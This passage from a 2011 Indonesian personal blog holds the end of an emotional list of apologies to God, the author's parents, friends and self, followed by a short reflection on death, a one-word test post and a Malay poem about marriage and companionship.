1. kepada Alloh SWT yang saya cintai, yang saya rindukan, yang saya panggil setiap hari, yang telah menjadikan saya seperti ini sekarang, yang telah memberi saya nafas, yang telah memberi saya akal, yang telah memberi saya nurani, yang telah memberi saya rizki, yang telah memberi saya kekuatan untuk selalu berusaha dan bangkit untuk berjalan di jalan MU, yang telah memberi saya banyak sekali orang-orang yang mencintai dan menyayangi saya, yang telah meniupkan nyawa kepada tubuhku, yang telah memberikan titah agar tidak menutup pintu hati dan pikiranku dengan tirai nafsu dunia, yang telah mencukupi segala yang ak butuhkan, dan yang telah-yang telah yang lain, yang jika aku sebutkan tidak akan pernah selesai sampai nyawa ini ENGKAU cabut... (Subhanalloh, Alloh MAHA PEMBERI)!!!

2. Kepada orang tuaku, papahku, krn ak belum lulus-lulus sampai 7 tahun kuliah. dan kepada mamah yang telah tenang di sana, dipelukanNya, maaf tidak bisa membuatmu melihatku memakai toga sesuai harapan mu...maafkan selalu membuat kamu, wahai ibundaku, selalu menitikkan air mata, selalu membuatmu khawatir ketika melihat ak naik motor yang suka ngebut, saat aku nyopir mobil, yang tidak pernah mau disalip mobil lain, maafkan krn keras kepalaku, maafkan tidak selalu bisa membuat engkau tersenyum, maafkan selalu memaksamu tersenyum pada ku...dan maafkan-maafkan lain yang tidak bisa saya sebutkan..krn kasihmu padaku benar2 seluas samudra...bahkan lebih banyak sayangmu ke aku, dari pada sayangmu ke dirimu sendiri...maaf...

3. kepada teman2 baikku, oscar, joko, aftin, uci,ajes, dan semua yang g bisa dan g ingin ak sebutkan, agar tidak terjadi kesalahpahaman...maaf teman...saya manusia...saya memiliki nafsu yang terkadang tidak bisa kukendalikan.... maaf...

4. kepada semua semua yang ada di dunia, setiap molekul, setiap partikel, semua zat, semua benda, semua semua yang ada di bumi ini. kepada semua perwujudan Alloh SWT...kepada hujan, kepada senja di sore hari, kepada mentari di ufuk pagi...kepada angin yang setia berhembus, kepada api yang membakar semangat, dan kepada-kepada yang lain yang tidak bisa kusebutkan, krn sungguh Alloh SWT ada dimana-mana...di setiap jiwa dan benda yang ada di dunia...maaf...

5. kepada diriku sendiri, yang telah kurus, gak gemuk-gemuk, hitam legam krn kubawa tepat dibawah sinar mentari...kepada rambutku yang sekarang ku mohawk, kepada pundakku yang telah kupaksa untuk dipasangi pen berbahan timah...kepada mata, hati, jantung, paru, empedu, dan setiap apa yang ada di diriku...maaf...

Saya pribadi berharap Alloh SWT dan kalian semua bisa memaafkan saya...memaafkan setiap kesalaha yang saya perbuat, melupakan segala kesalaha yang telah saya lakukan, tiap keputusan salah yang telah saya ambil, tiap hembus nafas naga yang telah membakar emosi kalian...hanya ini yang dapat ak katakan. sebelum ajal menjemput, sebelum Alloh SWT mengakhiri kehidupanku, petualangan naif ku, dan sebelum bumi terbelah oleh SANGKAKALA...sebelum tak sempat kuucapkan kata terindah, yang lebih indah dari taman tulip...dengan segala kerendaha hati,,, MAAF..

Wassallamu'alaikum WRWB...

Yogyakarta , 14 Juli 2011.
3:54 AM | 0 comments | Read More

Kematian

Written By pcbolong on Monday, July 11, 2011 | 7:36 PM

Perempuan bertemu dengan seorang laki-laki tanpa disengaja. kemudian dia berkata dalam diri, bahwa dia (lelaki) itu adalah jodohku. aku yakin sekali. ataupun sebaliknya. yah, ak yakin sekali kalau dia adalah yang akan mendampingiku dalam hidup. hanya satu yang seperti itu? tidak...ada banyak sekali manusia yang begitu. memikirkan jodoh, dan mengklaim bahwa dia adalaha jodohnya.

bahkan banyak sekali media-media yang membahas cara-cara mengenali bahwa dia adalah jodoh kita. hmm...hal yang sangat biasa sekali, sangat biasa dilakukan dan ditemui orang.

Suatu ketika, dalam pikiran seseorang terbersit,,,"bagaimana jika beberapa jam lagi, dalam waktu yang tidak bisa kita tentukan, adalah waktu kematian kita. waktu dimana waktu kita menjemput".

gak bisa membayangkan, menjalani waktu demi waktu untuk menyambut kematian. bagaimana perasaan orang-orang terdekat kita yang akan kita tinggalkan. dengan setia menunggu dirumah sakit, dengan setia mengajak kita tertawa menghadapi kematian. dengan setia melakukan apapun agar segala pengharapan kita selama hidup tercapai. bagaimana jika orang tersebut adalah seorang anak kecil?anak kecil yang akan mengetahui jika orang yang paling dia sayangi, orang yang merangkulnya sedari kecil akan meninggalkan dia.

mata pun telah mulai kabur...tubuh pun sudah mulai tak punya daya. dengan lugunya anak kecil bilang.. "tetap hidup dengan saya...selamanya..saya hanya ingin hidup dengan mu. atau sendiri tanpa orang lain".

kebahagiaan atau kesedihan kah yang kita tinggalkan?

hmmm,,.,,tampaknya saya belum pintar menulis. belum lihai mengungkapkan sesuatu dalam sebuah kalimat yang tersusun dalam kata-kata. sungguh, otak ini tak mampu. karena membahas kematian kah?atau karena saya tidak terbiasa menulis?terbiasa menulis code-code program yang tidak bisa mati...?hmmm......

serasa di padang rumput hijau, menengadahkan kepala ke atas...melihat awan biru..merasakan hembusan angin...dan berpikir... "aku akan meninggalkan mu, hai angin...sentuh aku tiap detik...ak akan merindukanmu..."
7:36 PM | 0 comments | Read More

Tes

Written By pcbolong on Wednesday, July 6, 2011 | 11:24 PM

Tes
11:24 PM | 0 comments | Read More

Jodoh

Written By pcbolong on Friday, July 1, 2011 | 10:48 PM

Berpasangan engkau telah diciptakan
Dan selamanya engkau akan berpasangan
Bergandingan tanganlah dikau
Hingga sayap-sayap panjang nan lebar lebur dalam nyala
Dalam ikatan agung menyatu kalian

Saling menataplah dalam keharmonian
Dan bukanlah hanya saling menatap ke depan
Tapi bagaimana melangkah ke tujuan semula

Berpasangan engkau dalam mengurai kebersamaan
Kerana tidak ada yang benar-benar mampu hidup bersendirian
Bahkan keindahan syurga tak mampu menghapus kesepian Adam

Berpasangan engkau dalam menghimpun rahmat Tuhan Ya, bahkan bersama pula dalam menikmatinya, Kerana alam dan kurniaan Tuhan
Terlampau luas untuk dinikmati sendirian

Bersamalah engkau dalam setiap keadaan
Kerana kebahagiaan tersedia, bagi mereka yang menangis
Bagi mereka yang disakiti hatinya, bagi mereka yang mencari,
bagi mereka yang mencuba
Dan bagi mereka yang mampu memahami arti hidup bersama
Kerana mereka itulah yang menghargai pentingnya
orang-orang yang pernah hadir dalam kehidupan mereka

Bersamalah dikau sampai sayap-sayap sang maut meliputimu
Ya, bahkan bersama pula kalian dalam musim sunyi
Namun biarkan ada ruang antara kebersamaan itu
Tempat angin syurga menari-nari diantara bahtera sakinahmu

Berkasih-kasihlah, namun jangan membelenggu cinta
Biarkan cinta mengalir dalam setiap titisan darah
Bagai mata air kehidupan
Yang gemerciknya senantiasa menghidupi pantai kedua jiwa
Saling isilah minumanmu tapi jangan minum dari satu piala
Saling kongsilah rotimu tapi jangan makan dari pinggan yang sama..

Menyanyilah dan menarilah bersama dalam suka dan duka
Hanya biarkan masing-masing menghayati waktu sendirinya
Kerana dawai-dawai biola, masing-masing punya kehidupan sendiri
Walau lagu yang sama sedang menggetarkannya
Sebab itulah simfoni kehidupan

Berikan hatimu namun jangan saling menguasainya

Jika tidak, kalian hanya mencintai pantulan diri sendiri
Yang kalian temukan dalam dia
Dan lagi, hanya tangan kehidupan yang akan mampu merangkulnya

Tegaklah berjajar namun jangan terlampau dekat
Bukankah tiang-tiang candi tidak dibina terlalu rapat?
Dan pohon jati serta pohon cemara
Tidak tumbuh dalam bayangan masing-masing?
10:48 PM | 0 comments | Read More